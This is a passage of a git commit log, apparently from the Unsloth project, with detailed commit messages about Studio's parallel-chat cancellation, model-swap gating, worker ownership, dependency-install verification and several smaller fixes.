The AST contract test asserted the cleanup finally by overwriting its flag
per Try node, so a nested try made the last one win. Accumulate instead,
which is what the existence claim meant.

* Studio: three more swap-gate gaps found in review

Register /audio/generate with the gate. TTS holds the model for the whole
request and /unload runs no drain, so unregistered a non-forced swap counted
zero generations and tore the model down mid-generation; the orchestrator
path only waits 15s for the generation lock, which real TTS exceeds. No
cancel keys: no backend takes a cancel_event for audio, so the event has no
observer and a forced swap still cannot interrupt audio already in flight.

Thread the tracked cancel event into the /v1/responses admission wait. It
was the only admission caller passing None, so a queued run could not be
reached by cancel_all() and a plain /inference/cancel could not stop it at
all. Same omission fixed at the upstream send there and on /v1/completions.

Let an unforced unload of a stale model path reach the no-op check. Before
this PR that request returned 200 and did nothing; the new gate refused it
with 409 for a request that reaches no teardown branch. Gate both refusal
passes on the disjunction of the route's own teardown conditions, including
not is_loaded, so a mid-load GGUF still refuses.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: register the remaining non-streaming decode paths

stream defaults to false on all three of these, so they are the ordinary
shape of their routes, and each holds a local backend for the whole
request. /unload runs no idle drain, so with no registry entry a non-forced
swap counted zero generations and tore the backend down mid-request instead
of returning 409, and a forced one had no event to signal.

Non-streaming /v1/messages: all three helpers ran with an empty registry,
since only the streaming siblings were tracked. Registered at the call site
because the pass-through takes no cancel_event of its own, and with no
cancel keys, matching those siblings.

Non-streaming standard chat and audio-input chat: the trackers in this route
sit inside their `if payload.stream:` arms, so neither else branch was
covered. The GGUF sibling already registers its own non-streaming branch.

Each exit is in a finally on the branch's existing try, so the except arms
are covered too: a leaked entry 409s every later swap until restart.

* Studio: tighten the swap-gate comments

Comment-only pass over the newest swap-gate registrations: collapse the multi-line rationales in /unload, the legacy generate stream, audio generation and the non-streaming chat branches, and the matching test preambles, to the shortest form that still carries the reason. No code changes.

* Studio: stop the reselect dialog promising a stop that never happens

Picking an external provider leaves the local model resident and stops the
status poll mirroring it, so reselecting that model showed the stop-chats
dialog, and /load then answered already_loaded ahead of its cancel hook.
Confirmed with the live backend: the same pick with force_cancel_active set
still returned already_loaded and the chat kept streaming. Not stopping
those chats is right, since the load never interrupts them, so remove the
prompt rather than honour it. Blanket-skipping is unsafe, because the same
id and variant with one sampling setting changed is a real reload and 409s,
so the branch only fires when a status fetch confirms the resident
checkpoint and variant match, and then adopts it without calling /load.

Redact native model paths from the active-generations response. Registering
/generate/stream recorded backend.active_model_name verbatim, which is an
absolute path for a native local model, and this route is the only place
that serialises it. Redacting at the response covers every tracker rather
than the one that surfaced it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep hydrated context usage in the per-thread map

The history loader restores a saved conversation's usage through
setContextUsage only, and it runs once per mount, so switching away and
back left the bar blank for a hydrated chat even after the per-thread map
landed. setContextUsage now writes the value through to the visible
thread's own entry and clears that entry when passed null, which covers
both hydration call sites and any future writer.

* Studio: unblock load cancellation and share unresolved thread keys

Run the two stop-loading fast paths ahead of the unload route's pre-gate
refusal. _unload_may_evict returns True for exactly the model being
cancelled, so the refusal was blocking the branch that cancels a load which
has replaced nothing and can interrupt no chat. The client made that
unrecoverable: cancelLoading sends the unload without force, drops the
result, and its abort never reaches /load, which takes no signal, so the
load ran on and could later cancel those chats and swap the model. Nothing
else is exempted; an unload that would tear down a serving model matches
neither fast path and still 409s. The comment claiming the client lets that
409 surface is corrected, since it discards it.

Hold every owner behind a shared thread key. Runs with no resolved thread id
share "__default" (concurrent compare panes, since startCompare clears
activeThreadId), so a single owner slot let a second run replace the first's
token and then delete the shared entry while it was still generating, and
the server-cancel map lost the older handle the same way. Both now hold a
list, the running and local flags survive until the last owner clears, and
stopChatThread stops every handle under the key.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: carry a confirmed swap into the sidecar install, key restored usage by thread

Picking a model that needs a newer transformers while chats generate raised the
"stop N chats" prompt, but the answer never reached the install that runs before
the load: /install-latest-transformers refused on those same chats and took no
force flag, so Retry hit the same 409 and nothing in the flow stopped them.

Carry force_cancel_active through the consent dialog into the installer. Only
the pre-gate fast path is skipped: the recheck under the lifecycle gate still
has to pass, so an unconfirmed caller is refused as before. The cancel runs last
inside the gate, after every check that can still reject the install, and the
drain behind it is bounded since it holds the gate and the sidecar reservation.

Also key restored context usage by the thread the loader read. history.load()
captures remoteId before two awaited round trips, so a switch inside that window
filed one thread's usage under another and setActiveThreadId kept re-applying it.

Preserve sibling owners when a run key is cleared without an owner: the image
rejection gate now uses its own token, and the reducer leaves owned runs alone.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: bound the post-cancel drains, and make cancellation reach the paths that ignored it

A forced swap cancels the chats it interrupts, then waits for them to unwind.
That wait had no deadline while holding the lifecycle gate, and TTS on the
subprocess backend observes no cancel event at all, so one audio generation
could pin every load, unload and new request for its whole duration. Bound both
post-cancel drains. Pre-cancel drains stay unbounded: the swap can still be
refused there, so shortening them would weaken what they protect.

/unload had the opposite problem and no drain at all, cancelling and tearing
down on the next line, which turned a clean stream end into a dropped
connection. Give it the same bounded wait, gated on the cancel having cancelled
something so an idle Eject pays nothing.

Make the cancel actually land where it can. GGUF TTS now takes a cancel_event
and a watcher closes its client to break the blocking POST. The Anthropic
non-streaming pass-through did the same thing the completions and embeddings
paths used to: register with the gate, then run both POSTs on the pooled client
that cannot be closed. It now uses a per-request client like they do.

Also: park and unpark the admission queue the reservation actually holds, since
queues are keyed by base_url and a reload mints a new port; key tool output by
remoteId on both sides, so the first turn of a New Chat stops writing under one
key and reading another; and give tool status a run owner, so a finishing run
cannot blank the badge a concurrent one is still showing.

Clamp --parallel to 1 on a llama-server without --kv-unified. The new default of
4 would otherwise split -c four ways on such a build, quartering the context
window for a feature it cannot serve.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: scope a chat's Stop to its own generation, and clear the way before a confirmed install

Safetensors generation is serialized on _gen_lock and the worker has a single
cancel event, so a chat still queued on that lock owns no generation. Its Stop
handler called reset_generation_state() anyway, which set the shared event and
ended whichever conversation was actually running. Parallel chats is what makes
that reachable.

_generate_inner now records its cancel_event as the current holder once it takes
the lock, and reset_generation_state drops a reset from anyone else. Every route
call site passes its own request event. A reset with no event stays global, so
unload and model switch cannot leave a generation alive, and a reset while
nothing runs still resets, so an error path before generation is not a no-op.
The other two backends take the argument too, or the standard one raises
TypeError on every cancel.

The sidecar install had the mirror of the /load ordering problem: it cancelled
the chats first and drained second, so an unrelated counted request the cancel
cannot reach (a count_tokens, say) was still there for the recheck, which then
refused an install that had already stopped every chat for nothing. Drain the
unreachable remainder first, discounting the registered chats, then cancel.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: close the windows the previous round's fixes left open

Three follow-ups, two of them holes in the fixes just before them.

The worker claim went in after _send_cmd, so the command was already running
unclaimed and a queued chat's Stop in that window still reset it. Claim first,
with the send inside the same try, so a failed send releases it too.

Tool status kept one entry per key with an owner. That stops a foreign clear but
not an overwrite: under the shared unresolved-thread key the second run replaced
the first's entry, and its own clear then removed the only one while the first
tool was still running. Keep per-run entries and render the newest.

/unload gated its drain on having cancelled something, so a request that passed
the keep-warm middleware but had not reached its tracker yet was invisible to it
and the teardown landed on an already-admitted request. Drain on the middleware
count instead, which covers that window as well as the cancelled runs, then
re-cancel whatever registered while waiting. Bounded, not a refusal: an unload is
deliberate, and on expiry it proceeds exactly as before.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim the parallel-chats comments to their reasons

Compress the multi-line rationales added by this branch into shorter forms and drop
restatements of the code below them. The reasons behind the drain bounds, the deferred
cancel, the per-request generation ownership and the thread-scoped tool and usage keys
are kept, just said in fewer lines.

* Studio: own the worker per generation, and make a resumed chat requeue for its slot

Ownership was a single lock holder, so dispatched runs (compare mode bypasses
_gen_lock by design) never claimed it and the guard fell straight through to the
global reset: a Stop on one of them ended its siblings. Track the generations
actually running instead, claimed before the send and released in the same
finally on both paths. A reset still proceeds when nothing is running, so an
error path ahead of generation is not swallowed.

park() hands the freed slot to a waiter, so a chat resuming from a tool approval
could take it back while that waiter was still decoding, putting two holders on
a one-slot server and sending the resumed tool loop past the admission limit.
unpark_async waits for room; the plain unpark stays for a holder tearing down,
which will not decode again.

Audio only observed its cancel event on a forced swap. An explicit Stop just
aborts the fetch, and this route has no cancel id, so llama-server ran on to the
request timeout after the chat reported it stopped. Watch the disconnect.

Also read tool status by remoteId, matching the key the adapter writes and the
fix already made for tool output, and stop an unresolved run from writing its
usage into whichever conversation the user moved to.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: let only the generation the worker is running speak for it, and hold a slot for a resuming chat

The ownership list recorded admission, but the subprocess runs generations one
at a time, so a dispatched request queued behind another counted as an owner and
its Stop signalled the shared cancel event, ending the request that was actually
running. Keep admission for release bookkeeping and gate ownership on execution
instead, promoted when the worker first answers that request. Nothing executing
still permits a reset, so an error path ahead of generation is not swallowed.

The worker has one cancel event and no per-request cancellation, so this decides
who may pull the lever rather than making the lever per-request.

A resuming chat also polled for a slot it could never see: release() grants to
the next waiter under the same lock, so later arrivals overtook an approved chat
indefinitely. A pending unpark now reserves the next slot and they queue behind
it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: cover the prefill window, and keep a first turn's tool output readable

Gating worker ownership on execution left the interval between the send and the
first response uncovered: nothing is executing then, and the empty case admitted
anyone, so a queued chat's Stop still ended the one in prefill. Split the empty
case. Nothing claimed at all still permits a reset, so an error path ahead of
generation is not swallowed; claimed but unanswered resolves to the oldest
claim, which is what a FIFO command queue is working on.

Putting both sides of the tool-output scope on remoteId left the first turn of a
New Chat writing under the unresolved scope for its whole life while the readers
recomputed the moment the autosave assigned an id, so the card blanked mid-run.
The readers now fall back to the unresolved scope, which only an unpersisted
first turn can occupy.

* Studio: order the parked approvals, and tie a worker claim to its enqueue

The reservation added for admission fairness was a bare count, so every approved
holder counted against every other: park two chats, approve both, and once the
last decoder released, nothing could ever satisfy the check again. That is a
deadlock where the problem it fixed was only unfairness. Make it a FIFO ticket
so a pending unpark blocks the ones behind it and no others.

_owns_worker reads claim order to decide which request the worker is prefilling,
which only holds if claiming and enqueuing cannot interleave. Hold one lock
across both on the dispatched and the locked path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: follow a first turn's run when its thread gets an id, and key the denoising canvas per chat

A run started before its thread existed filed every handle under "__default". Nothing
moved them once autosave assigned the real id, so the sidebar row showed no spinner and
Stop could not reach the generation, which kept holding a slot.

adoptDefaultThreadRun re-keys the run maps onto the real id from the thread adapter's
initialize(), where the id first exists; anything already filed under that id wins, since
that is a later run. The adapter captures its key once at run start, so it now resolves
the live key per use through runKeyForOwner, looking its own serverCancel up in the owner
map. Without that the migrated entries are stranded and the spinner never clears.

The denoising canvas was one global slot, so two diffusion chats overwrote each other and
the ownership tag then hid the visible preview until that thread emitted again. It is now
activeDiffusionCanvasByThreadId, written and cleared per thread, and the frame no longer
carries a threadId of its own. The bubble reads threadListItem.remoteId, dropping the dead
threadListItem.id arm: the writer tags unstable_threadId, which is exactly remoteId.

Two existing backend tests needed the same treatment. _bare_orchestrator skips __init__, so
it now sets the claim bookkeeping the worker ownership check reads. The Anthropic
passthrough gate test anchored on comment prose that a rewrap had broken; it anchors on the
code instead.

* Studio: hand the worker over cleanly between generations, and stop unresolved runs sharing each other's state

Worker ownership moved off the consumer and onto the dispatcher. Consumers read their
mailbox whenever they get around to it, so a request whose gen_done had been routed still
owned the worker while the next one ran, and a late Stop for it cancelled that one. The
dispatcher is the only place responses arrive in the order the worker produced them: it
now retires a request at its terminal response and promotes the next one, and answering a
request makes it the sole executor, since the subprocess runs one generation at a time.

reserve()'s immediate path ignored the unpark tickets that _grant_waiters_locked already
honours, so a request arriving between a slot freeing and an approved chat's next poll
took it, repeatedly. It applies the same reservation now.

Three places let concurrent first turns share state through the "__default" key. Nothing
links a run filed there to the id its thread later receives, so rather than guess, each
now declines when the key is ambiguous: adoption only re-keys a lone run, the composer
badge only claims a lone status, and the tool-output fallback only applies to a thread
that is still running. That leaves two concurrent first turns where they were before
adoption existed instead of handing one thread the other's handles.

A first turn's usage was never filed, because its key stayed null for the whole run while
autosave moved activeThreadId to the real id, so the context bar went blank after the
first reply. It resolves the adopted key like the cleanup handles do.

Cancelling a forced load left the UI with no model: the previous one stays resident until
/load's teardown, and the cancel path cleared the checkpoint without rolling back. It now
resyncs from the backend, which is right whether or not the load got that far.

The sidecar install drain is weighted 1:4 rather than halved, total unchanged. Only the
second half benefits from patience, and cutting it short refused installs whose chats had
already been stopped for nothing.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: give a first turn its real thread id before the run starts

A first turn filed every run handle under a shared unresolved key because
assistant-ui binds unstable_threadId before the thread is persisted. Two of them
overlapping there is unresolvable afterwards, and the last round's migration could
only decline rather than guess, which left neither sidebar row showing its run.

The id is available earlier than I claimed. append() already tracks
threadListItem.initialize() by the user message id, and createPersistedRunAdapter
already awaits that promise before invoking the adapter, so the thread is persisted
by the time the run begins. It was only being discarded: the tracked promise resolved
to void. It now resolves to the assigned id, and the wrapper hands it to the adapter
when assistant-ui had none. An id that is already set is never replaced, since that
would move a running chat's handles out from under the row watching them. The
existing unresolved-key guards stay as a safety net but should no longer carry weight.

The sidebar counted running thread ids rather than rows, so one compare conversation
read as two chats. It folds ids into rows through the same threadIds the row spinner
uses, and still counts a running id that matches no row.

_TrackedCancel always registered kind="chat", so an embeddings or raw completions
request appeared in the model-swap prompt as an unnamed conversation and confirming
cancelled it while calling it a chat. The non-conversation routes now pass their own
kind, and the prompt says "requests" whenever the snapshot is not all chats.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: withhold the shared worker cancel from a request the worker has left

Moving ownership to the dispatcher fixed reset_generation_state, but the token loop
signals the shared worker event directly and did not carry the same rule. A dispatched
consumer runs with mark_started off and can still be draining tokens buffered before
its gen_done was routed, so stopping it there ended whichever request the worker had
started next.

It now signals only when _owns_worker agrees, the same predicate reset_generation_state
uses. The local drain and return are unconditional, since those touch nothing but this
stream. The remaining _cancel_generation callers are deliberately global: subprocess
shutdown, the pre-load kill and unload_model.

* Studio: add the AGPL-3.0 header to the first-turn identity test

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: stop the dispatcher and a _gen_lock stream fighting over the response queue

Nothing stopped the dispatcher starting under a _gen_lock generation, so once compare
was opened while an ordinary chat was still streaming, both consumed _resp_queue and
whichever response the dispatcher took without a mailbox was dropped, gen_done included.
That chat truncated or hung. This PR is what makes it reachable, since navigating into
compare no longer ends the chat behind it.

Delaying the dispatcher would serialise compare behind whatever chat happens to be
streaming, so the direct readers get a mailbox instead. _direct_reader returns a reader,
a cancel drain and a release, and files the mailbox under _direct_mailboxes rather than
_mailboxes, which means "compare requests are in flight" to the unload and distributed
paths and must not count an ordinary chat.

Both directions close. The dispatcher finds the direct reader's mailbox instead of
dropping. And this reader can already be blocked on the queue when a compare request's
dispatcher starts, so a response that is not ours goes to its own mailbox rather than
being consumed, which would have corrupted the chat and hung the pane. All three
_gen_lock readers use it, and the cancel drain goes through it too.

The sidebar's return target still picked a raw pane id while the count grouped by row,
and /chat addresses compare with `compare`, not `thread`. It resolves through the same
items now, so a running compare row returns to its pair.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep worker ownership honest across audio, API traffic and a replaced worker

The audio-input send got a mailbox last round but stayed unclaimed, so a compare request
queued behind it looked like the oldest owner and stopping that queued request signalled
the shared event into the audio chat. It claims under the send lock and releases in the
finally, like _generate_inner.

Ownership is keyed on cancel-event identity with nothing tying it to a worker generation,
so a consumer still blocked on its mailbox when the process was replaced stayed recorded
as the executor, and a generation on the fresh worker could not be stopped.
_shutdown_subprocess clears that state once the process is confirmed dead, mailboxes
included: nothing routes to them again, and a stale one reads as compare activity to the
unload path. Not on the survived-SIGKILL path, which keeps its handle on purpose.

The four public /v1/messages trackers were registering as chats. The distinction is a
Studio thread, not the protocol, and those branches already say "No thread_id: public API
surface" while the Studio path passes payload.thread_id separately. They carry their own
kind now, so the swap prompt stops calling an external request a chat.

The swap confirmation still counted raw pane ids, so a compare conversation asked to stop
two chats and listed its title twice. It folds panes onto pairId and lowers the count by
what it collapsed, leaving a first turn the backend can count but not name.

Deep Research set runningByThreadId but registered no server-cancel handle, and that map
is how Stop, archive and delete reach a thread that is no longer active. Leaving the
outgoing thread running is this PR's doing, so the run was left unreachable while its
supervisor kept working against a conversation the user could delete.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten the parallel-chats comments

* Studio: replay a Deep Research stop that arrived before the run existed

The handle is registered before createResearchRun resolves because the thread can be
stopped while that request is in flight, but it had no id to act on and dropped the stop.
The supervisor then followed a run the user had already stopped, archived or deleted.

It latches instead: a stop with no id yet sets a flag, and the adapter replays it against
the id the moment creation returns rather than starting to follow.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fix worker ownership on a raced reroute, and the stop-chats prompt

Four review findings on the parallel-chats work, all reproduced first.

- _direct_reader hands a foreign response to its own mailbox, but skipped the
  ownership move the dispatcher makes. A _gen_lock reader already blocked on
  resp_queue can beat the compare dispatcher to that request's first response,
  and the compare consumer opts out of marking, so nothing promoted it: the
  direct request stayed the recorded executor, its late reset cancelled the
  compare generation, and the compare chat's own Stop was ignored.
- A chat stopped while queued on _gen_lock was still claimed and sent once the
  lock freed. Cancellation is only checked on a token, so a long prefill, or a
  generation reaching gen_done without one, occupied the worker after Stop.
  Same hole in the audio-input path, which shares the lock.
- The stop-chats prompt counted generation handles, not conversations. One chat
  holds several while a tool continuation registers its next leg before the
  previous unwinds, so it offered to stop two chats and listed one title.
- Ejecting a model confirms through that dialog, which told the user
  "Unloading the model reloads the model" and offered "Stop and reload".
  Confirming calls /unload and leaves nothing loaded.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: name the TTS run's thread so the stop prompt counts it once

The audio branch registers its run locally under the thread key but sent no
thread_id, so the backend tracker filed the same generation under no thread.
The stop-chats prompt then had a named local run and an unnamed backend one and,
since e8e7594 started adding unnamed entries to the named ones, counted a single
TTS chat as two requests. The backend already reads payload.thread_id, so
sending it lines both registries up on the same run.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 04:40:38 -07:00
Wasim Yousef Said
99e1f402c7
Remove the transient Studio desktop auth handoff (#7542)
* Remove Studio desktop auth handoff flash

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 13:18:03 +02:00
Lee Jackson
3230a10a9c
Fix Windows Codex temporary home path (#7519)
* Fix Windows Codex temporary home path

* Fix Codex ephemeral session cleanup

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden Codex temp home reclamation

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 03:14:43 -07:00
Lee Jackson
3dd0a779c6
Isolate Studio PostCSS configuration (#7513) 2026-07-28 03:14:35 -07:00
Lee Jackson
64d76a241e
Handle llama.cpp tool schema limits (#7512)
* Handle llama.cpp tool schema limits

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 03:14:13 -07:00
Lee Jackson
9d6f706ac3
Fix Claude client tools under server tool policy (#7518)
* Fix Claude client tools under server tool policy

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Preserve Anthropic client tool routing

* Match text editor schemas by version

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 03:14:05 -07:00
Lee Jackson
31699f9c04
Default coding-agent servers to reasoning off (#7521)
* Default coding agent servers to reasoning off

* Fix reasoning startup compatibility and attach warning
2026-07-28 03:13:54 -07:00
Daniel Han
1781770bee
Studio: detect an interrupted dependency install instead of launching a backend that cannot import (#7492)
* Studio: detect an interrupted dependency install instead of launching a backend that cannot import

An installer killed part-way leaves a venv with a working CLI but without
studio.txt's dependencies. Nothing recorded that, so three separate places all
reported it healthy:

- the desktop preflight probed only `unsloth -h` (typer + rich) and a hardcoded
  desktop-capabilities dict, neither of which touches studio.backend, so it
  returned ManagedReady and spawned a backend that died on `import structlog`;
- setup.sh's fast path compared the installed unsloth version against PyPI,
  which matches on a half-built venv because unsloth is installed early, so
  `unsloth studio update` printed "up to date" and repaired nothing;
- start_managed_repair calls that update and then re-checks with the same blind
  probes, so Repair reported success without fixing anything.

install_python_stack.py now clears a completion manifest before the dependency
pass and writes it only after the final step. `unsloth studio verify-install`
and desktop-capabilities' new studio_install_ok field read it, the preflight
turns a false answer into ManagedStale so auto-repair runs, and setup.sh /
setup.ps1 gain an escape hatch next to the existing anyio one.

Separately, the wheel ships studio/ and studio.backend* but declared none of
their dependencies, so `unsloth train`, `export`, `chat`, `inference` and
`studio` all ended in a rich traceback after a plain pip install. structlog is
the only hard module-level import that chain reaches once starlette's
annotation-only import moves under TYPE_CHECKING, so it becomes a core
dependency and the rest of the server stack becomes a [studio] extra mirroring
studio.txt. The CLI import sites now report missing dependencies as a sentence
with two remedies.

Fixes #4701, #5260, #7147

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Match the trimmed comments merged on the pip branch

* Put the install manifest in the preflight fingerprint for PR #7492

The capability cache keyed the venv on pyvenv.cfg, uv.lock, requirements.txt,
the interpreter and site-packages/unsloth_cli/commands/studio.py, none of which
a repair touches when it only reinstalls studio.txt. So an entry cached while
the install was healthy stayed valid after the manifest was dropped, and the
probe returned Ready on exactly the half-built venv this is meant to catch.

* Address the review findings on PR #7492

Fail the install when the completion manifest cannot be written, instead of
exiting 0 without the record every later check requires, which is a repair
loop by construction.

Compare the version of the package the manifest names, so `studio update
--package X` does not read as a permanent version change.

Read the manifest from the venv that owns it when the CLI runs outside the
managed venv, and drop the dependency verdict in that case: the walk ran
against the wrong interpreter and says nothing about that venv.

Name the import that actually failed. `unsloth train` reaches torch through
the same guard, and the studio extra does not carry it, so recommending that
extra alone left the command failing in the same place.

* Declare click, which typer stopped providing, for PR #7492

unsloth_cli/commands/start.py imports click at module scope and
unsloth_cli/__init__.py imports that module, so every unsloth command needs
it. typer carried click through 0.19 and dropped it in 0.27, and the declared
floor is typer>=0.12.0, so a fresh resolve gets no click. On the published
wheel it still arrives because huggingface_hub requires click<9,>=8.4.2, which
is luck rather than a declaration. A wheel built from this branch's
dependency list has neither, and every command dies at import.

Verified: before, `unsloth --help` on a fresh venv raised ModuleNotFoundError
for click; after, it exits 0. The drift test now covers it.

* Keep a running backend from the previous app version manageable

The manageability bump gated two unrelated things through one constant. For
the managed CLI probe 2 is right: a CLI reporting 1 cannot answer
studio_install_ok. For a RUNNING backend it is wrong, because a process
already started cannot change what it reports, so bumping studio/backend/main.py
in lockstep does not help one the previous app version spawned.

That backend is proven ours by root id and ownership token, but
lifecycle_control_block_reason returned Unmanageable, and that branch never
calls adopt_verified_backend. has_owned_backend() stays false, so Repair falls
into block_external_conflict, which finds the same process and refuses: the app
could no longer stop a backend it owns the token for. The same regression in
backend.rs turned a terminal-launched same-root server from AttachedReady into
ExternalConflict.

Split the constant: DESKTOP_BACKEND_MANAGEABILITY_VERSION = 1 for the two
live-backend probes, DESKTOP_MANAGEABILITY_VERSION = 2 for the CLI probe. Every
real gate (protocol, auth, ownership, desktop-login, MIN_DESKTOP_BACKEND_VERSION)
is untouched, so an old backend still reaches OwnedStale, adopt, stop, repair.

Also stop the installer when the stale manifest cannot be removed. Windows
raises on a read-only or locked file, and the pass would then run behind a
marker that still names this version and these digests, so a run killed
part-way would verify as complete.

* Answer for the managed venv, not the one the CLI happens to run in

The guard matched ModuleNotFoundError.name, an import name, against
missing_requirements(), which returns distribution names. So a missing PyJWT
printed 'pip install jwt', and jwt, docx and fitz are each a real but unrelated
PyPI project (fitz is a neuroimaging workflow tool), so following the advice
installed the wrong package and left the backend just as broken. Map the import
to its distribution before deciding, and never offer the import itself.

install_state() verified the caller's own prefix. The wheel ships studio/, so a
CLI installed outside the managed venv always finds its own copy of the helper
first, and a healthy managed install reported studio_install_incomplete with a
missing list copied from the wrong venv. Selecting the root is not enough:
_installed_version() reads the running interpreter and req_root defaults to the
caller's studio.txt, so both checks still answered for the wrong venv. Hand
verify_install() that venv's own metadata, enumerated through
Distribution.discover(context = ...path), which does not fall back to sys.path.
The candidate order is untouched, so shadowed-tree detection is unchanged.

setup.ps1 replaces pip, torch and triton before install_python_stack.py runs,
so the manifest it drops is not dropped before the first mutation. A run killed
in between kept a marker that still verifies while torch was half-replaced;
drop it at the top of the dependency pass instead. setup.sh is unaffected, the
stack is the first thing its pass runs, and a test now pins both.

pip uninstall rewrites nothing that was fingerprinted, and cache_matches
re-reads the cached studio_install_ok rather than re-checking, so a venv that
lost a studio.txt package kept being served the healthy verdict. Fold a sorted
hash of the installed dist-info names into the marker hash.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* A missing manifest helper is a torn install, not an old one

studio/install_manifest.py ships in the same wheel as _studio_deps.py, so
nothing legitimately has one without the other: a CLI predating both never
reaches this code, and the desktop already calls such a CLI stale on
desktop_manageability_version.

Returning ok=true there reported a healthy install for a tree the package
update had half replaced, and the preflight then launched a backend whose
own run.py could be just as absent. Report it incomplete so repair runs.

* Tighten comments across the install-detection changes

* Validate Studio dependency readiness

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
2026-07-28 10:57:20 +02:00
oobabooga
01c856c6c5
Surface actionable installer failures in Studio desktop (#7529)
* Studio: surface actionable installer failures

* Correct installer failure attribution

* Preserve desktop installer failure context

* Use explicit setup failure attribution

* Preserve package manager failure details
2026-07-28 10:19:44 +02:00
oobabooga
ba512f69e4
Studio: keep automatic model loading toast visible until completion (#7425) 2026-07-28 00:16:28 -03:00
Gaurav Dubey
36e83de336
Studio: add option to disable the in-memory API monitor (#7156)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-27 22:47:24 -03:00
Long Yixing
c8bc451d7e
fix(studio): activate MLX inference sidecar before detection (#7402) 2026-07-27 18:27:31 -03:00
Nilay
9e2b47d2b5
Studio: split parallel tool calls for Llama 3.x chat templates (#7426)
* split parallel tool calls for single-call-only chat templates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-27 20:35:34 +01:00
Leo Borcherding
56fb522746
Studio voice-tab: use text-ui-* tokens instead of raw px sizes (#7378)
The STT model list used text-[9px] and text-[10px], which ignore the UI
font-size preference and fail the test_no_raw_pixel_text_utilities contract.
Swap them for the scale-aware text-ui-9 / text-ui-10 tokens.
2026-07-27 12:39:46 -05:00
Leo Borcherding
f4d2cc5ca3
Studio UI font-scale test: normalise paths so the allowlists work on Windows (#7434)
test_inline_font_size_styles_reference_the_scale compares source-relative paths
against FONTSIZE_PROP_ALLOWED_DIRS and FONTSIZE_STYLE_ALLOWLIST, both written
with forward slashes. It built those paths with str(path.relative_to(SRC)),
which is backslash-separated on Windows, so startswith() never matched and the
allowlists silently did nothing.

The suite is green on Linux CI and fails locally on Windows with 22 phantom
offenders, all of them the chart cards the allowlist already covers.

Route the paths through a _rel() helper that returns .as_posix(), and use it for
the other two offender messages too so failures read the same on every OS.
2026-07-27 12:39:35 -05:00
Leo Borcherding
d127039e87
docs(studio): fix stale gfx110X example in ROCR masking comments (#7440)
The ROCR-vs-HIP masking comments cite "a gfx1103 iGPU under a gfx110X
prebuilt" as an example of a GPU the build has no kernels for, but the
shipping gfx110X prebuilt does build gfx1103: unsloth-prebuilt-rocm.yml
passes -DGPU_TARGETS=gfx1100;gfx1101;gfx1102;gfx1103 on both Linux and
Windows, and the b10079 manifest maps all four. install.sh also routes
gfx1103 to gfx110X-all and is_rdna() includes it.

Swap in gfx1036 under gfx103X, which is genuinely unbuilt: that bundle
maps only gfx1030/1031/1032/1034.

Comment-only, no behavior change.
2026-07-27 12:39:28 -05:00
Souravrajvi0
7917c7828c
Installer: opt-in Vulkan llama.cpp backend (and fallback when no AMD card is HIP-supported) (#7373)
* feat(install): opt-in Vulkan llama.cpp backend and HIP gfx fallback (#7357)

Add UNSLOTH_LLAMA_BACKEND=vulkan and --llama-backend vulkan to force the
upstream Vulkan prebuilt on any host, persist llama_backend in the install
marker, and re-assert it during Studio updates.

On Windows AMD, auto-fallback to Vulkan when no detected gfx arch is in the
